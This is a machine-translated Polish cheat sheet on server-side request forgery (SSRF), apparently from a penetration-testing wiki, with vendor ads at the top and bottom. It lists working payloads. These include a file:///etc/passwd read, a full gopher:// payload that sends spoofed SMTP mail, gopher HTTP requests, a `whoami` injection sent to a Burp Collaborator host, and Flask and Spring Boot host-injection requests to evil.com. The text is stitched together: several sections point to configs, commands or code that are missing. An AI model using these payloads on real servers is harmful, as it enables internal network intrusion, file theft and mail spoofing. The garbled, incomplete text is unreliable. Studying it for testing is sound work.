Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Uzyskaj dostęp już dziś:
Wrażliwość Server-side Request Forgery (SSRF) występuje, gdy atakujący manipuluje aplikacją po stronie serwera, aby wysyłała żądania HTTP do wybranej przez niego domeny. Ta luka naraża serwer na dowolne zewnętrzne żądania kierowane przez atakującego.
Przechwytywanie SSRF
Pierwszą rzeczą, którą musisz zrobić, jest przechwycenie interakcji SSRF wygenerowanej przez Ciebie. Aby przechwycić interakcję HTTP lub DNS, możesz użyć narzędzi takich jak:
Zazwyczaj stwierdzisz, że SSRF działa tylko w niektórych dozwolonych domenach lub URL. Na poniższej stronie znajdziesz kompilację technik, aby spróbować obejść tę listę dozwolonych:
Ominięcie przez otwarty przekierowanie
Jeśli serwer jest odpowiednio zabezpieczony, możesz obejść wszystkie ograniczenia, wykorzystując Otwarty Przekierowanie wewnątrz strony internetowej. Ponieważ strona internetowa pozwoli na SSRF do tej samej domeny i prawdopodobnie będzie śledzić przekierowania, możesz wykorzystać Otwarty Przekierowanie, aby serwer uzyskał dostęp do wewnętrznych zasobów.
Przeczytaj więcej tutaj: https://portswigger.net/web-security/ssrf
Protokoły
file://
Schemat URL file:// odnosi się bezpośrednio do /etc/passwd: file:///etc/passwd
dict://
Schemat URL DICT jest opisany jako wykorzystywany do uzyskiwania definicji lub list słów za pomocą protokołu DICT. Podany przykład ilustruje skonstruowany URL celujący w konkretne słowo, bazę danych i numer wpisu, a także przypadek skryptu PHP, który może być potencjalnie nadużyty do połączenia z serwerem DICT przy użyciu danych uwierzytelniających dostarczonych przez atakującego: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Zidentyfikowany jako protokół do bezpiecznego transferu plików przez bezpieczny shell, podano przykład, jak skrypt PHP może być wykorzystany do połączenia z złośliwym serwerem SFTP: url=sftp://generic.com:11111/
TFTP://
Protokół Trivial File Transfer, działający przez UDP, jest wspomniany z przykładem skryptu PHP zaprojektowanego do wysyłania żądania do serwera TFTP. Żądanie TFTP jest wysyłane do 'generic.com' na porcie '12346' dla pliku 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Ten segment dotyczy Lightweight Directory Access Protocol, podkreślając jego zastosowanie do zarządzania i uzyskiwania dostępu do rozproszonych usług informacji katalogowej w sieciach IP. Interakcja z serwerem LDAP na localhost: '%0astats%0aquit' przez ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
Opisano metodę wykorzystywania luk SSRF do interakcji z usługami SMTP na localhost, w tym kroki do ujawnienia wewnętrznych nazw domen oraz dalsze działania dochodzeniowe na podstawie tych informacji.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
Curl URL globbing - omijanie WAF
Jeśli SSRF jest wykonywane przez curl, curl ma funkcję zwaną URL globbing, która może być przydatna do omijania WAF. Na przykład w tym opisie możesz znaleźć ten przykład dla przechodzenia ścieżki za pomocą protokołu file:
Omówiono zdolność protokołu Gopher do określania IP, portu i bajtów do komunikacji z serwerem, a także narzędzia takie jak Gopherus i remote-method-guesser do tworzenia ładunków. Ilustrowane są dwa różne zastosowania:
Gopher://
Korzystając z tego protokołu, możesz określić IP, port i bajty, które chcesz, aby serwer wysłał. Następnie możesz zasadniczo wykorzystać SSRF do komunikacji z dowolnym serwerem TCP (ale musisz najpierw wiedzieć, jak rozmawiać z usługą).
Na szczęście możesz użyć Gopherus do tworzenia ładunków dla kilku usług. Dodatkowo, remote-method-guesser może być użyty do tworzenia gopher ładunków dla usług Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0Agopher://<server>:8080/_GET /HTTP/1.0%0A%0Agopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Oprogramowanie analityczne na serwerach często rejestruje nagłówek Referrer, aby śledzić przychodzące linki, co niezamierzenie naraża aplikacje na podatności typu Server-Side Request Forgery (SSRF). Dzieje się tak, ponieważ takie oprogramowanie może odwiedzać zewnętrzne adresy URL wymienione w nagłówku Referrer, aby analizować treść stron odsyłających. Aby odkryć te podatności, zaleca się użycie wtyczki Burp Suite "Collaborator Everywhere", która wykorzystuje sposób, w jaki narzędzia analityczne przetwarzają nagłówek Referer, aby zidentyfikować potencjalne powierzchnie ataku SSRF.
SSRF poprzez dane SNI z certyfikatu
Błędna konfiguracja, która może umożliwić połączenie z dowolnym zapleczem poprzez prostą konfigurację, jest ilustrowana przykładem konfiguracji Nginx:
W tej konfiguracji wartość z pola Server Name Indication (SNI) jest bezpośrednio wykorzystywana jako adres backendu. Ta konfiguracja naraża na podatność na Server-Side Request Forgery (SSRF), która może być wykorzystana poprzez jedynie określenie żądanego adresu IP lub nazwy domeny w polu SNI. Poniżej podano przykład wykorzystania do wymuszenia połączenia z dowolnym backendem, takim jak internal.host.com, przy użyciu polecenia openssl:
Może warto spróbować ładunku takiego jak: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Renderowanie PDF
Jeśli strona internetowa automatycznie tworzy PDF z informacjami, które podałeś, możesz wstawić trochę JS, które zostanie wykonane przez samego twórcę PDF (serwer) podczas tworzenia PDF i będziesz mógł wykorzystać SSRF. Znajdź więcej informacji tutaj.
Od SSRF do DoS
Utwórz kilka sesji i spróbuj pobrać duże pliki, wykorzystując SSRF z sesji.
Funkcje PHP SSRF
Sprawdź następującą stronę w poszukiwaniu podatnych funkcji PHP, a nawet Wordpress:
SSRF Przekierowanie do Gopher
Do niektórych exploitów możesz potrzebować wysłać odpowiedź z przekierowaniem (potencjalnie, aby użyć innego protokołu, takiego jak gopher). Oto różne kody w Pythonie, aby odpowiedzieć z przekierowaniem:
Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Uzyskaj dostęp już dziś:
</details>
Flask pozwala używać **`@`** jako znaku początkowego, co pozwala na uczynienie **początkowej nazwy hosta nazwą użytkownika** i wstrzyknięcie nowej. Żądanie ataku:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Wrażliwy kod:
Odkryto, że możliwe jest rozpoczęcie ścieżki żądania od znaku ;, co pozwala następnie użyć @ i wstrzyknąć nowy host do uzyskania dostępu. Żądanie ataku:
GET ;@evil.com/url HTTP/1.1Host:target.comConnection:close